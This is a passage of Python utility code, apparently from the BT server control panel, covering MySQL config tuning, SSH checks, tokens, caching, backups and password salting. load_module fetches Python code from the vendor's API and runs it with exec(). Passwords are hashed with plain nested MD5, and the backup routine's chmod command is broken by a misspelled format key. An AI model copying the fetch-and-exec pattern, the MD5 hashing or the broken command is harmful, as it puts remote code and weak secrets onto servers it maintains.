CN_PING=`ping -c 1 -w 1 $CN|grep time=|awk '{print $7}'|sed "s/time=//"`
HK_PING=`ping -c 1 -w 1 $HK|grep time=|awk '{print $7}'|sed "s/time=//"`
HK2_PING=`ping -c 1 -w 1 $HK2|grep time=|awk '{print $7}'|sed "s/time=//"`
US_PING=`ping -c 1 -w 1 $US|grep time=|awk '{print $7}'|sed "s/time=//"`

echo "$HK_PING $HK" > ping.pl
echo "$HK2_PING $HK2" >> ping.pl
echo "$US_PING $US" >> ping.pl
echo "$CN_PING $CN" >> ping.pl
nodeAddr=`sort -V ping.pl|sed -n '1p'|awk '{print $2}'`
if [ "$nodeAddr" == "" ];then
nodeAddr=$HK
fi

Download_Url=http://$nodeAddr:5880


MySQL_Opt()
{
MemTotal=`free -m | grep Mem | awk '{print $2}'`
if [[ ${MemTotal} -gt 1024 && ${MemTotal} -lt 2048 ]]; then
sed -i "s#^key_buffer_size.*#key_buffer_size = 32M#" /etc/my.cnf
sed -i "s#^table_open_cache.*#table_open_cache = 128#" /etc/my.cnf
sed -i "s#^sort_buffer_size.*#sort_buffer_size = 768K#" /etc/my.cnf
sed -i "s#^read_buffer_size.*#read_buffer_size = 768K#" /etc/my.cnf
sed -i "s#^myisam_sort_buffer_size.*#myisam_sort_buffer_size = 8M#" /etc/my.cnf
sed -i "s#^thread_cache_size.*#thread_cache_size = 16#" /etc/my.cnf
sed -i "s#^query_cache_size.*#query_cache_size = 16M#" /etc/my.cnf
sed -i "s#^tmp_table_size.*#tmp_table_size = 32M#" /etc/my.cnf
sed -i "s#^innodb_buffer_pool_size.*#innodb_buffer_pool_size = 128M#" /etc/my.cnf
sed -i "s#^innodb_log_file_size.*#innodb_log_file_size = 32M#" /etc/my.cnf
elif [[ ${MemTotal} -ge 2048 && ${MemTotal} -lt 4096 ]]; then
sed -i "s#^key_buffer_size.*#key_buffer_size = 64M#" /etc/my.cnf
sed -i "s#^table_open_cache.*#table_open_cache = 256#" /etc/my.cnf
sed -i "s#^sort_buffer_size.*#sort_buffer_size = 1M#" /etc/my.cnf
sed -i "s#^read_buffer_size.*#read_buffer_size = 1M#" /etc/my.cnf
sed -i "s#^myisam_sort_buffer_size.*#myisam_sort_buffer_size = 16M#" /etc/my.cnf
sed -i "s#^thread_cache_size.*#thread_cache_size = 32#" /etc/my.cnf
sed -i "s#^query_cache_size.*#query_cache_size = 32M#" /etc/my.cnf
sed -i "s#^tmp_table_size.*#tmp_table_size = 64M#" /etc/my.cnf
sed -i "s#^innodb_buffer_pool_size.*#innodb_buffer_pool_size = 256M#" /etc/my.cnf
sed -i "s#^innodb_log_file_size.*#innodb_log_file_size = 64M#" /etc/my.cnf
elif [[ ${MemTotal} -ge 4096 && ${MemTotal} -lt 8192 ]]; then
sed -i "s#^key_buffer_size.*#key_buffer_size = 128M#" /etc/my.cnf
sed -i "s#^table_open_cache.*#table_open_cache = 512#" /etc/my.cnf
sed -i "s#^sort_buffer_size.*#sort_buffer_size = 2M#" /etc/my.cnf
sed -i "s#^read_buffer_size.*#read_buffer_size = 2M#" /etc/my.cnf
sed -i "s#^myisam_sort_buffer_size.*#myisam_sort_buffer_size = 32M#" /etc/my.cnf
sed -i "s#^thread_cache_size.*#thread_cache_size = 64#" /etc/my.cnf
sed -i "s#^query_cache_size.*#query_cache_size = 64M#" /etc/my.cnf
sed -i "s#^tmp_table_size.*#tmp_table_size = 64M#" /etc/my.cnf
sed -i "s#^innodb_buffer_pool_size.*#innodb_buffer_pool_size = 512M#" /etc/my.cnf
sed -i "s#^innodb_log_file_size.*#innodb_log_file_size = 128M#" /etc/my.cnf
elif [[ ${MemTotal} -ge 8192 && ${MemTotal} -lt 16384 ]]; then
sed -i "s#^key_buffer_size.*#key_buffer_size = 256M#" /etc/my.cnf
sed -i "s#^table_open_cache.*#table_open_cache = 1024#" /etc/my.cnf
sed -i "s#^sort_buffer_size.*#sort_buffer_size = 4M#" /etc/my.cnf
sed -i "s#^read_buffer_size.*#read_buffer_size = 4M#" /etc/my.cnf
sed -i "s#^myisam_sort_buffer_size.*#myisam_sort_buffer_size = 64M#" /etc/my.cnf
sed -i "s#^thread_cache_size.*#thread_cache_size = 128#" /etc/my.cnf
sed -i "s#^query_cache_size.*#query_cache_size = 128M#" /etc/my.cnf
sed -i "s#^tmp_table_size.*#tmp_table_size = 128M#" /etc/my.cnf
sed -i "s#^innodb_buffer_pool_size.*#innodb_buffer_pool_size = 1024M#" /etc/my.cnf
sed -i "s#^innodb_log_file_size.*#innodb_log_file_size = 256M#" /etc/my.cnf
elif [[ ${MemTotal} -ge 16384 && ${MemTotal} -lt 32768 ]]; then
sed -i "s#^key_buffer_size.*#key_buffer_size = 512M#" /etc/my.cnf
sed -i "s#^table_open_cache.*#table_open_cache = 2048#" /etc/my.cnf
sed -i "s#^sort_buffer_size.*#sort_buffer_size = 8M#" /etc/my.cnf
sed -i "s#^read_buffer_size.*#read_buffer_size = 8M#" /etc/my.cnf
sed -i "s#^myisam_sort_buffer_size.*#myisam_sort_buffer_size = 128M#" /etc/my.cnf
sed -i "s#^thread_cache_size.*#thread_cache_size = 256#" /etc/my.cnf
sed -i "s#^query_cache_size.*#query_cache_size = 256M#" /etc/my.cnf
sed -i "s#^tmp_table_size.*#tmp_table_size = 256M#" /etc/my.cnf
sed -i "s#^innodb_buffer_pool_size.*#innodb_buffer_pool_size = 2048M#" /etc/my.cnf
sed -i "s#^innodb_log_file_size.*#innodb_log_file_size = 512M#" /etc/my.cnf
elif [[ ${MemTotal} -ge 32768 ]]; then
sed -i "s#^key_buffer_size.*#key_buffer_size = 1024M#" /etc/my.cnf
sed -i "s#^table_open_cache.*#table_open_cache = 4096#" /etc/my.cnf
sed -i "s#^sort_buffer_size.*#sort_buffer_size = 16M#" /etc/my.cnf
sed -i "s#^read_buffer_size.*#read_buffer_size = 16M#" /etc/my.cnf
sed -i "s#^myisam_sort_buffer_size.*#myisam_sort_buffer_size = 256M#" /etc/my.cnf
sed -i "s#^thread_cache_size.*#thread_cache_size = 512#" /etc/my.cnf
sed -i "s#^query_cache_size.*#query_cache_size = 512M#" /etc/my.cnf
sed -i "s#^tmp_table_size.*#tmp_table_size = 512M#" /etc/my.cnf
sed -i "s#^innodb_buffer_pool_size.*#innodb_buffer_pool_size = 4096M#" /etc/my.cnf
sed -i "s#^innodb_log_file_size.*#innodb_log_file_size = 1024M#" /etc/my.cnf
fi
}

wget -O /etc/my.cnf $Download_Url/install/conf/mysql-%s.conf -T 5
chmod 644 /etc/my.cnf
MySQL_Opt
''' % (version,)
ExecShell(shellStr)
#判断是否迁移目录
if os.path.exists('data/datadir.pl'):
newPath = readFile('data/datadir.pl')
if os.path.exists(newPath):
mycnf = readFile('/etc/my.cnf')
mycnf = mycnf.replace('/www/server/data',newPath)
writeFile('/etc/my.cnf',mycnf)
WriteLog('TYPE_SOFE', 'MYSQL_CHECK_ERR')
return True


def GetSSHPort():
try:
file = '/etc/ssh/sshd_config'
conf = ReadFile(file)
rep = "#*Port\s+([0-9]+)\s*\n"
port = re.search(rep,conf).groups(0)[0]
return int(port)
except:
return 22

def GetSSHStatus():
if os.path.exists('/usr/bin/apt-get'):
status = ExecShell("service ssh status | grep -P '(dead|stop)'")
else:
import system
panelsys = system.system()
version = panelsys.GetSystemVersion()
if version.find(' 7.') != -1:
status = ExecShell("systemctl status sshd.service | grep 'dead'")
else:
status = ExecShell("/etc/init.d/sshd status | grep -e 'stopped' -e '已停'")
if len(status[0]) > 3:
status = False
else:
status = True
return status

#检查端口是否合法
def CheckPort(port,other=None):
if type(port) == str: port = int(port)
if port < 1 or port > 65535: return False
if other:
checks = [22,20,21,8888,3306,11211,888,25]
if port in checks: return False
return True

#获取Token
def GetToken():
try:
from json import loads
tokenFile = 'data/token.json'
if not os.path.exists(tokenFile): return False
token = loads(readFile(tokenFile))
return token
except:
return False

def to_btint(string):
m_list = []
for s in string:
m_list.append(ord(s))
return m_list

def load_module(pluginCode):
from imp import new_module
from BTPanel import cache
p_tk = 'data/%s' % md5(pluginCode + get_uuid())
pluginInfo = None
if cache: pluginInfo = cache.get(pluginCode+'code')
if not pluginInfo:
import panelAuth
pdata = panelAuth.panelAuth().create_serverid(None)
pdata['pid'] = pluginCode
url = GetConfigValue('home') + '/api/panel/get_py_module'
pluginTmp = httpPost(url,pdata)
try:
pluginInfo = json.loads(pluginTmp)
except:
if not os.path.exists(p_tk): return False
pluginInfo = json.loads(ReadFile(p_tk))
if pluginInfo['status'] == False: return False
WriteFile(p_tk,json.dumps(pluginInfo))
os.chmod(p_tk,384)
if cache: cache.set(pluginCode+'code',pluginInfo,1800)

mod = sys.modules.setdefault(pluginCode, new_module(pluginCode))
code = compile(pluginInfo['msg'].encode('utf-8'),pluginCode, 'exec')
mod.__file__ = pluginCode
mod.__package__ = ''
exec(code, mod.__dict__)
return mod

#解密数据
def auth_decode(data):
token = GetToken()
#是否有生成Token
if not token: return returnMsg(False,'REQUEST_ERR')

#校验access_key是否正确
if token['access_key'] != data['btauth_key']: return returnMsg(False,'REQUEST_ERR')

#解码数据
import binascii,hashlib,urllib,hmac,json
tdata = binascii.unhexlify(data['data'])

#校验signature是否正确
signature = binascii.hexlify(hmac.new(token['secret_key'], tdata, digestmod=hashlib.sha256).digest())
if signature != data['signature']: return returnMsg(False,'REQUEST_ERR')

#返回
return json.loads(urllib.unquote(tdata))


#数据加密
def auth_encode(data):
token = GetToken()
pdata = {}

#是否有生成Token
if not token: return returnMsg(False,'REQUEST_ERR')

#生成signature
import binascii,hashlib,urllib,hmac,json
tdata = urllib.quote(json.dumps(data))
#公式 hex(hmac_sha256(data))
pdata['signature'] = binascii.hexlify(hmac.new(token['secret_key'], tdata, digestmod=hashlib.sha256).digest())

#加密数据
pdata['btauth_key'] = token['access_key']
pdata['data'] = binascii.hexlify(tdata)
pdata['timestamp'] = time.time()

#返回
return pdata

#检查Token
def checkToken(get):
tempFile = 'data/tempToken.json'
if not os.path.exists(tempFile): return False
import json,time
tempToken = json.loads(readFile(tempFile))
if time.time() > tempToken['timeout']: return False
if get.token != tempToken['token']: return False
return True

#获取识别码
def get_uuid():
import uuid
return uuid.UUID(int=uuid.getnode()).hex[-12:]


#进程是否存在
def process_exists(pname,exe = None,cmdline = None):
try:
import psutil
pids = psutil.pids()
for pid in pids:
try:
p = psutil.Process(pid)
if p.name() == pname:
if not exe and not cmdline:
return True
else:
if exe:
if p.exe() == exe: return True
if cmdline:
if cmdline in p.cmdline(): return True
except:pass
return False
except: return True


#重启面板
def restart_panel():
import system
return system.system().ReWeb(None)

#获取mac
def get_mac_address():
import uuid
mac=uuid.UUID(int = uuid.getnode()).hex[-12:]
return ":".join([mac[e:e+2] for e in range(0,11,2)])


#转码
def to_string(lites):
if type(lites) != list: lites = [lites]
m_str = ''
for mu in lites:
if sys.version_info[0] == 2:
m_str += unichr(mu).encode('utf-8')
else:
m_str += chr(mu)
return m_str

#解码
def to_ord(string):
o = []
for s in string:
o.append(ord(s))
return o

#xss 防御
def xssencode(text):
import cgi
list=['`','~','&','#','/','*','$','@','<','>','\"','\'',';','%',',','.','\\u']
ret=[]
for i in text:
if i in list:
i=''
ret.append(i)
str_convert = ''.join(ret)
text2=cgi.escape(str_convert, quote=True)
return text2

# 取缓存
def cache_get(key):
from BTPanel import cache
return cache.get(key)

# 设置缓存
def cache_set(key,value,timeout = None):
from BTPanel import cache
return cache.set(key,value,timeout)

# 删除缓存
def cache_remove(key):
from BTPanel import cache
return cache.delete(key)

# 取session值
def sess_get(key):
from BTPanel import session
if key in session: return session[key]
return None

# 设置或修改session值
def sess_set(key,value):
from BTPanel import session
session[key] = value
return True

# 删除指定session值
def sess_remove(key):
from BTPanel import session
if key in session: del(session[key])
return True

# 构造分页
def get_page(count,p=1,rows=12,callback='',result='1,2,3,4,5,8'):
import page
from BTPanel import request
page = page.Page()
info = { 'count':count, 'row':rows, 'p':p, 'return_js':callback ,'uri':request.full_path}
data = { 'page': page.GetPage(info,result), 'shift': str(page.SHIFT), 'row': str(page.ROW) }
return data

# 取面板版本
def version():
try:
from BTPanel import g
return g.version
except:
comm = ReadFile('/www/server/panel/class/common.py')
return re.search("g\.version\s*=\s*'(\d+\.\d+\.\d+)'",comm).groups()[0]


#取文件或目录大小
def get_path_size(path):
if not os.path.exists(path): return 0
if not os.path.isdir(path): return os.path.getsize(path)
size_total = 0
for nf in os.walk(path):
for f in nf[2]:
filename = nf[0] + '/' + f
if not os.path.exists(filename): continue
if os.path.islink(filename): continue
size_total += os.path.getsize(filename)
return size_total

#写关键请求日志
def write_request_log(reques = None):
try:
from BTPanel import request,g
if request.path in ['/service_status','/favicon.ico','/task','/system','/ajax','/control','/data','/ssl']:
return False

log_path = '/www/server/panel/logs/request'
log_file = getDate(format='%Y-%m-%d') + '.json'
if not os.path.exists(log_path): os.makedirs(log_path)

log_data = []
log_data.append(getDate())
log_data.append(GetClientIp() + ':' + str(request.environ.get('REMOTE_PORT')))
log_data.append(request.method)
log_data.append(request.full_path)
log_data.append(request.headers.get('User-Agent'))
if request.method == 'POST':
args = str(request.form.to_dict())
if len(args) < 2048 and args.find('pass') == -1 and args.find('user') == -1:
log_data.append(args)
else:
log_data.append('{}')
else:
log_data.append('{}')
log_data.append(int((time.time() - g.request_time) * 1000))
WriteFile(log_path + '/' + log_file,json.dumps(log_data) + "\n",'a+')
rep_sys_path()
except: pass

#重载模块
def mod_reload(mode):
if not mode: return False
try:
if sys.version_info[0] == 2:
reload(mode)
else:
import imp
imp.reload(mode)
return True
except: return False

#设置权限
def set_mode(filename,mode):
if not os.path.exists(filename): return False
mode = int(str(mode),8)
os.chmod(filename,mode)
return True


#设置用户组
def set_own(filename,user,group=None):
if not os.path.exists(filename): return False
from pwd import getpwnam
try:
user_info = getpwnam(user)
user = user_info.pw_uid
if group:
user_info = getpwnam(group)
group = user_info.pw_gid
except:
#如果指定用户或组不存在,则使用www
user_info = getpwnam('www')
user = user_info.pw_uid
group = user_info.pw_gid
os.chown(filename,user,group)
return True

#校验路径安全
def path_safe_check(path,force=True):
if len(path) > 256: return False
checks = ['..','./','\\','%','$','^','&','*','~','"',"'",';','|','{','}','`']
for c in checks:
if path.find(c) != -1: return False
if force:
rep = r"^[\w\s\.\/-]+$"
if not re.match(rep,path): return False
return True

#取数据库字符集
def get_database_character(db_name):
try:
import panelMysql
tmp = panelMysql.panelMysql().query("show create database `%s`" % db_name.strip())
c_type = str(re.findall(r"SET\s+([\w\d-]+)\s",tmp[0][1])[0])
c_types = ['utf8','utf-8','gbk','big5','utf8mb4']
if not c_type.lower() in c_types: return 'utf8'
return c_type
except:
return 'utf8'

def en_punycode(domain):
if sys.version_info[0] == 2:
domain = domain.encode('utf8')
tmp = domain.split('.')
newdomain = ''
for dkey in tmp:
if dkey == '*': continue
#匹配非ascii字符
match = re.search(u"[\x80-\xff]+",dkey)
if not match: match = re.search(u"[\u4e00-\u9fa5]+",dkey)
if not match:
newdomain += dkey + '.'
else:
if sys.version_info[0] == 2:
newdomain += 'xn--' + dkey.decode('utf-8').encode('punycode') + '.'
else:
newdomain += 'xn--' + dkey.encode('punycode').decode('utf-8') + '.'
if tmp[0] == '*': newdomain = "*." + newdomain
return newdomain[0:-1]



#punycode 转中文
def de_punycode(domain):
tmp = domain.split('.')
newdomain = ''
for dkey in tmp:
if dkey.find('xn--') >=0:
newdomain += dkey.replace('xn--','').encode('utf-8').decode('punycode') + '.'
else:
newdomain += dkey + '.'
return newdomain[0:-1]

#取计划任务文件路径
def get_cron_path():
u_file = '/var/spool/cron/crontabs/root'
if not os.path.exists(u_file):
file='/var/spool/cron/root'
else:
file=u_file
return file

#加密字符串
def en_crypt(key,strings):
try:
if type(strings) != bytes: strings = strings.encode('utf-8')
from cryptography.fernet import Fernet
f = Fernet(key)
result = f.encrypt(strings)
return result.decode('utf-8')
except:
#print(get_error_info())
return strings

#解密字符串
def de_crypt(key,strings):
try:
if type(strings) != bytes: strings = strings.decode('utf-8')
from cryptography.fernet import Fernet
f = Fernet(key)
result = f.decrypt(strings).decode('utf-8')
return result
except:
#print(get_error_info())
return strings


#检查IP白名单
def check_ip_panel():
ip_file = 'data/limitip.conf'
if os.path.exists(ip_file):
iplist = ReadFile(ip_file)
if iplist:
iplist = iplist.strip()
if not GetClientIp() in iplist.split(','):
errorStr = ReadFile('./BTPanel/templates/' + GetConfigValue('template') + '/error2.html')
try:
errorStr = errorStr.format(getMsg('PAGE_ERR_TITLE'),getMsg('PAGE_ERR_IP_H1'),getMsg('PAGE_ERR_IP_P1',(GetClientIp(),)),getMsg('PAGE_ERR_IP_P2'),getMsg('PAGE_ERR_IP_P3'),getMsg('NAME'),getMsg('PAGE_ERR_HELP'))
except IndexError:pass
return errorStr
return False

#检查面板域名
def check_domain_panel():
tmp = GetHost()
domain = ReadFile('data/domain.conf')
if domain:
if tmp.strip().lower() != domain.strip().lower():
errorStr = ReadFile('./BTPanel/templates/' + GetConfigValue('template') + '/error2.html')
try:
errorStr = errorStr.format(getMsg('PAGE_ERR_TITLE'),getMsg('PAGE_ERR_DOMAIN_H1'),getMsg('PAGE_ERR_DOMAIN_P1'),getMsg('PAGE_ERR_DOMAIN_P2'),getMsg('PAGE_ERR_DOMAIN_P3'),getMsg('NAME'),getMsg('PAGE_ERR_HELP'))
except:pass
return errorStr
return False

#是否离线模式
def is_local():
s_file = '/www/server/panel/data/not_network.pl'
return os.path.exists(s_file)


#自动备份面板数据
def auto_backup_panel():
try:
panel_paeh = '/www/server/panel'
paths = panel_paeh + '/data/not_auto_backup.pl'
if os.path.exists(paths): return False
b_path = '/www/backup/panel'
backup_path = b_path + '/' + format_date('%Y-%m-%d')
if os.path.exists(backup_path): return True
if os.path.getsize(panel_paeh + '/data/default.db') > 104857600 * 2: return False
os.makedirs(backup_path,384)
import shutil
shutil.copytree(panel_paeh + '/data',backup_path + '/data')
shutil.copytree(panel_paeh + '/config',backup_path + '/config')
shutil.copytree(panel_paeh + '/vhost',backup_path + '/vhost')
ExecShell("chmod -R 600 {path};chown -R root.root {path}".format(paht=b_path))
time_now = time.time() - (86400 * 15)
for f in os.listdir(b_path):
try:
if time.mktime(time.strptime(f, "%Y-%m-%d")) < time_now:
path = b_path + '/' + f
if os.path.exists(path): shutil.rmtree(path)
except: continue
except:pass


#检查端口状态
def check_port_stat(port,localIP = '127.0.0.1'):
import socket
temp = {}
temp['port'] = port
temp['local'] = True
try:
s = socket.socket()
s.settimeout(0.15)
s.connect((localIP,port))
s.close()
except:
temp['local'] = False

result = 0
if temp['local']: result +=2
return result


#同步时间
def sync_date():
tip_file = "/dev/shm/last_sync_time.pl"
s_time = int(time.time())
try:
if os.path.exists(tip_file):
if s_time - int(readFile(tip_file)) < 60: return False
os.remove(tip_file)
time_str = HttpGet('http://www.bt.cn/api/index/get_time')
new_time = int(time_str)
time_arr = time.localtime(new_time)
date_str = time.strftime("%Y-%m-%d %H:%M:%S", time_arr)
ExecShell('date -s "%s"' % date_str)
writeFile(tip_file,str(s_time))
return True
except:
if os.path.exists(tip_file): os.remove(tip_file)
return False


#重载模块
def reload_mod(mod_name = None):
#是否重载指定模块
modules = []
if mod_name:
if type(mod_name) == str:
mod_names = mod_name.split(',')

for mod_name in mod_names:
if mod_name in sys.modules:
print(mod_name)
try:
if sys.version_info[0] == 2:
reload(sys.modules[mod_name])
else:
importlib.reload(sys.modules[mod_name])
modules.append([mod_name,True])
except:
modules.append([mod_name,False])
else:
modules.append([mod_name,False])
return modules

#重载所有模块
for mod_name in sys.modules.keys():
if mod_name in ['BTPanel']: continue
f = getattr(sys.modules[mod_name],'__file__',None)
if f:
try:
if f.find('panel/') == -1: continue
if sys.version_info[0] == 2:
reload(sys.modules[mod_name])
else:
importlib.reload(sys.modules[mod_name])
modules.append([mod_name,True])
except:
modules.append([mod_name,False])
return modules


def de_hexb(data):
if sys.version_info[0] != 2:
if type(data) == str: data = data.encode('utf-8')
pdata = base64.b64encode(data)
if sys.version_info[0] != 2:
if type(pdata) == str: pdata = pdata.encode('utf-8')
return binascii.hexlify(pdata)

def en_hexb(data):
if sys.version_info[0] != 2:
if type(data) == str: data = data.encode('utf-8')
result = base64.b64decode(binascii.unhexlify(data))
if type(result) != str: result = result.decode('utf-8')
return result

def upload_file_url(filename):
try:
if os.path.exists(filename):
data = ExecShell('/usr/bin/curl https://scanner.baidu.com/enqueue -F archive=@%s' % filename)
data = json.loads(data[0])
time.sleep(1)
import requests
default_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'
}
data_list = requests.get(url=data['url'], headers=default_headers, verify=False)
return (data_list.json())
else:
return False
except:
return False

#直接请求到PHP-FPM
#version php版本
#uri 请求uri
#filename 要执行的php文件
#args 请求参数
#method 请求方式
def request_php(version,uri,document_root,method='GET',pdata=b''):
import panelPHP
if type(pdata) == dict: pdata = url_encode(pdata)
p = panelPHP.FPM('/tmp/php-cgi-'+version+'.sock',document_root)
result = p.load_url_public(uri,pdata,method)
return result


def url_encode(data):
if type(data) == str: return data
import urllib
if sys.version_info[0] != 2:
pdata = urllib.parse.urlencode(data).encode('utf-8')
else:
pdata = urllib.urlencode(data)
return pdata

def url_decode(data):
if type(data) == str: return data
import urllib
if sys.version_info[0] != 2:
pdata = urllib.parse.urldecode(data).encode('utf-8')
else:
pdata = urllib.urldecode(data)
return pdata


def unicode_encode(data):
try:
if sys.version_info[0] == 2:
result = unicode(data,errors='ignore')
else:
result = data.encode('utf8',errors='ignore')
return result
except: return data

def unicode_decode(data,charset = 'utf8'):
try:
if sys.version_info[0] == 2:
result = unicode(data,errors='ignore')
else:
result = data.decode('utf8',errors='ignore')
return result
except: return data

def import_cdn_plugin():
plugin_path = 'plugin/static_cdn'
if not os.path.exists(plugin_path): return True
try:
import static_cdn_main
except:
package_path_append(plugin_path)
import static_cdn_main


def get_cdn_hosts():
try:
if import_cdn_plugin(): return []
import static_cdn_main
return static_cdn_main.static_cdn_main().get_hosts(None)
except:
return []

def get_cdn_url():
try:
if os.path.exists('plugin/static_cdn/not_open.pl'):
return False
from BTPanel import cache
cdn_url = cache.get('cdn_url')
if cdn_url: return cdn_url
if import_cdn_plugin(): return False
import static_cdn_main
cdn_url = static_cdn_main.static_cdn_main().get_url(None)
cache.set('cdn_url',cdn_url,3)
return cdn_url
except:
return False

def set_cdn_url(cdn_url):
if not cdn_url: return False
import_cdn_plugin()
get = dict_obj()
get.cdn_url = cdn_url
import static_cdn_main
static_cdn_main.static_cdn_main().set_url(get)
return True

def get_python_bin():
bin_file = '/www/server/panel/pyenv/bin/python'
if os.path.exists(bin_file):
return bin_file
return '/usr/bin/python'

def aes_encrypt(data,key):
import panelAes
if sys.version_info[0] == 2:
aes_obj = panelAes.aescrypt_py2(key)
return aes_obj.aesencrypt(data)
else:
aes_obj = panelAes.aescrypt_py3(key)
return aes_obj.aesencrypt(data)

def aes_decrypt(data,key):
import panelAes
if sys.version_info[0] == 2:
aes_obj = panelAes.aescrypt_py2(key)
return aes_obj.aesdecrypt(data)
else:
aes_obj = panelAes.aescrypt_py3(key)
return aes_obj.aesdecrypt(data)

#清理大日志文件
def clean_max_log(log_file,max_size = 100,old_line = 100):
if not os.path.exists(log_file): return False
max_size = 1024 * 1024 * max_size
if os.path.getsize(log_file) > max_size:
try:
old_body = GetNumLines(log_file,old_line)
writeFile(log_file,old_body)
except:
print(get_error_info())

#获取证书哈希
def get_cert_data(path):
import panelSSL
get = dict_obj()
get.certPath = path
data = panelSSL.panelSSL().GetCertName(get)
return data

# 获取系统发行版
def get_linux_distribution():
distribution = 'ubuntu'
redhat_file = '/etc/redhat-release'
if os.path.exists(redhat_file):
try:
tmp = readFile(redhat_file).split()[3][0]
if int(tmp) > 7:
distribution = 'centos8'
except:
distribution = 'centos7'
return distribution

def long2ip(ips):
'''
@name 将整数转换为IP地址
@author hwliang<2020-06-11>
@param ips string(ip地址整数)
@return ipv4
'''
i1 = int(ips / (2 ** 24))
i2 = int((ips - i1 * ( 2 ** 24 )) / ( 2 ** 16 ))
i3 = int(((ips - i1 * ( 2 ** 24 )) - i2 * ( 2 ** 16 )) / ( 2 ** 8))
i4 = int(((ips - i1 * ( 2 ** 24 )) - i2 * ( 2 ** 16 )) - i3 * ( 2 ** 8))
return "{}.{}.{}.{}".format(i1,i2,i3,i4)

def ip2long(ip):
'''
@name 将IP地址转换为整数
@author hwliang<2020-06-11>
@param ip string(ipv4)
@return long
'''
ips = ip.split('.')
if len(ips) != 4: return 0
iplong = 2 ** 24 * int(ips[0]) + 2 ** 16 * int(ips[1]) + 2 ** 8 * int(ips[2]) + int(ips[3])
return iplong

#提交关键词
def submit_keyword(keyword):
pdata = {"keyword":keyword}
httpPost(GetConfigValue('home') + '/api/panel/total_keyword',pdata)

#统计关键词
def total_keyword(keyword):
import threading
p = threading.Thread(target=submit_keyword,args=(keyword,))
p.setDaemon(True)
p.start()

#获取debug日志
def get_debug_log():
from BTPanel import request
return GetClientIp() +':'+ str(request.environ.get('REMOTE_PORT')) + '|' + str(int(time.time())) + '|' + get_error_info()

#获取sessionid
def get_session_id():
from BTPanel import request
session_id = request.cookies.get('SESSIONID','')
return session_id

#尝试自动恢复面板数据库
def rep_default_db():
db_path = '/www/server/panel/data/'
db_file = db_path + 'default.db'
db_tmp_backup = db_path + 'default_' + format_date("%Y%m%d_%H%M%S") + ".db"

panel_backup = '/www/backup/panel'
bak_list = os.listdir(panel_backup)
if not bak_list: return False
bak_list = sorted(bak_list,reverse=True)
db_bak_file = ''
for d_name in bak_list:
db_bak_file = panel_backup + '/' + d_name + '/data/default.db'
if not os.path.exists(db_bak_file): continue
if os.path.getsize(db_bak_file) < 17408: continue
break

if not db_bak_file: return False
ExecShell("\cp -arf {} {}".format(db_file,db_tmp_backup))
ExecShell("\cp -arf {} {}".format(db_bak_file,db_file))
return True



def chdck_salt():
'''
@name 检查所有用户密码是否加盐,若没有则自动加上
@author hwliang<2020-07-08>
@return void
'''

if not M('sqlite_master').where('type=? AND name=? AND sql LIKE ?', ('table', 'users','%salt%')).count():
M('users').execute("ALTER TABLE 'users' ADD 'salt' TEXT",())
u_list = M('users').where('salt is NULL',()).field('id,username,password,salt').select()
if isinstance(u_list,str):
if u_list.find('no such table: users') != -1:
rep_default_db()
if not M('sqlite_master').where('type=? AND name=? AND sql LIKE ?', ('table', 'users','%salt%')).count():
M('users').execute("ALTER TABLE 'users' ADD 'salt' TEXT",())
u_list = M('users').where('salt is NULL',()).field('id,username,password,salt').select()

for u_info in u_list:
salt = GetRandomString(12) #12位随机
pdata = {}
pdata['password'] = md5(md5(u_info['password']+'_bt.cn') + salt)
pdata['salt'] = salt
M('users').where('id=?',(u_info['id'],)).update(pdata)


def get_login_token():
token_s = readFile('/www/server/panel/data/login_token.pl')
if not token_s: return GetRandomString(32)
return token_s

def get_sess_key():
from BTPanel import session
return md5(get_login_token() + session.get('request_token_head',''))


def password_salt(password,username=None,uid=None):
'''
@name 为指定密码加盐
@author hwliang<2020-07-08>
@param password string(被md5加密一次的密码)
@param username string(用户名) 可选
@param uid int(uid) 可选
@return string
'''
chdck_salt()
if not uid:
if not username:
raise Exception('username或uid必需传一项')
uid = M('users').where('username=?',(username,)).getField('id')
salt = M('users').where('id=?',(uid,)).getField('salt')
return md5(md5(password+'_bt.cn')+salt)

def package_path_append(path):
if not path in sys.path:
sys.path.insert(0,path)


def rep_sys_path():
sys_path = []
for p in sys.path:
if p in sys_path: continue
sys_path.append(p)
sys.path = sys_path


def get_ssh_port():
'''
@name 获取本机SSH端口
@author hwliang<2020-08-07>
@return int
'''
s_file = '/etc/ssh/sshd_config'
conf = readFile(s_file)
if not conf: conf = ''
rep = r"#*Port\s+([0-9]+)\s*\n"
tmp1 = re.search(rep,conf)
ssh_port = 22
if tmp1:
ssh_port = int(tmp1.groups(0)[0])
return ssh_port

def set_error_num(key,empty = False,expire=3600):
'''
@name 设置失败次数(每调用一次+1)
@author hwliang<2020-08-21>
@param key<string> 索引
@param empty<bool> 是否清空计数
@param expire<int> 计数器生命周期(秒)
@return bool
'''
from BTPanel import cache
key = md5(key)
num = cache.get(key)
if not num:
num = 0
else:
if empty:
cache.delete(key)
return True
cache.set(key,num + 1,expire)
return True

def get_error_num(key,limit=False):
'''
@name 获取失败次数
@author hwliang<2020-08-21>
@param key<string> 索引
@param limit<False or int> 如果为False,则直接返回失败次数,否则与失败次数比较,若大于失败次数返回True,否则返回False
@return int or bool
'''
from BTPanel import cache
key = md5(key)
num = cache.get(key)
if not num: num = 0
if not limit:
return num
if limit > num:
return True
return False


def get_menus():
'''
@name 获取菜单列表
@author hwliang<2020-08-31>
@return list
'''
data = json.loads(ReadFile('config/menu.json'))
hide_menu = ReadFile('config/hide_menu.json')
if hide_menu:
hide_menu = json.loads(hide_menu)
show_menu = []
for i in range(len(data)):
if data[i]['id'] in hide_menu: continue
show_menu.append(data[i])
data = show_menu
del(hide_menu)
del(show_menu)
menus = sorted(data, key=lambda x: x['sort'])
return menus


#取CURL路径
def get_curl_bin():
'''
@name 取CURL执行路径
@author hwliang<2020-09-01>
@return string
'''
c_bin = ['/usr/local/curl2/bin/curl','/usr/local/curl/bin/curl','/usr/bin/curl']
for cb in c_bin:
if os.path.exists(cb): return cb
return 'curl'

#取通用对象
class dict_obj:
def __contains__(self, key):
return getattr(self,key,None)
def __setitem__(self, key, value): setattr(self,key,value)
def __getitem__(self, key): return getattr(self,key,None)
def __delitem__(self,key): delattr(self,key)
def __delattr__(self, key): delattr(self,key)
def get_items(self): return self



#实例化定目录下的所有模块
class get_modules:

def __contains__(self, key):
return self.get_attr(key)

